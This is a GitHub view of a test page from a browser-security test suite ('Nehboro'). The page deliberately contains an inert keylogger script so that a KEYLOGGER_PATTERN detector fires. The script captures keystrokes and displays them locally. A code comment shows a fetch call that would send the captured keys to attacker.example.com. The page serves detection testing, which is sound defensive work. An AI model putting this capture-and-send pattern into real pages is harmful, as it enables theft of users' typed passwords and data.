-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmalware-keylogger.html
More file actions
36 lines (36 loc) · 1.56 KB
/
malware-keylogger.html
File metadata and controls
36 lines (36 loc) · 1.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Keylogger</title>
<style>
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; margin: 0; padding: 20px; background: #f5f5f7; color: #1d1d1f; }
.test-header { background: #fff4e6; border: 1px solid #ffa200; padding: 10px 14px; border-radius: 6px; margin-bottom: 20px; font-size: 13px; }
.test-header strong { color: #b75500; }
.test-container { background: white; padding: 24px; border-radius: 8px; box-shadow: 0 2px 8px rgba(0,0,0,0.06); }
a.back { display: inline-block; margin-bottom: 16px; color: #0066cc; text-decoration: none; font-size: 13px; }
a.back:hover { text-decoration: underline; }
</style>
</head>
<body>
<a href="index.html" class="back">← Back to test suite</a>
<div class="test-header">
<strong>🧪 Nehboro Test Page:</strong> Keylogger · Should trigger: <code>KEYLOGGER_PATTERN</code>
</div>
<div class="test-container">
<h2>This page contains a keylogger pattern (inert demo - logs to console only)</h2>
<p>Type anywhere on this page to see the keylogger pattern:</p>
<input type="text" placeholder="Try typing here..." style="padding:8px;width:300px;">
<div id="log"></div>
<script>
const buffer = [];
document.addEventListener('keydown', function(e) {
buffer.push(e.key);
document.getElementById('log').textContent = 'Captured: ' + buffer.join('');
// Real malware would do:
// fetch('https://attacker.example.com/log', { method: 'POST', body: JSON.stringify({keys: buffer}) });
});
</script>
</div>
</body>
</html>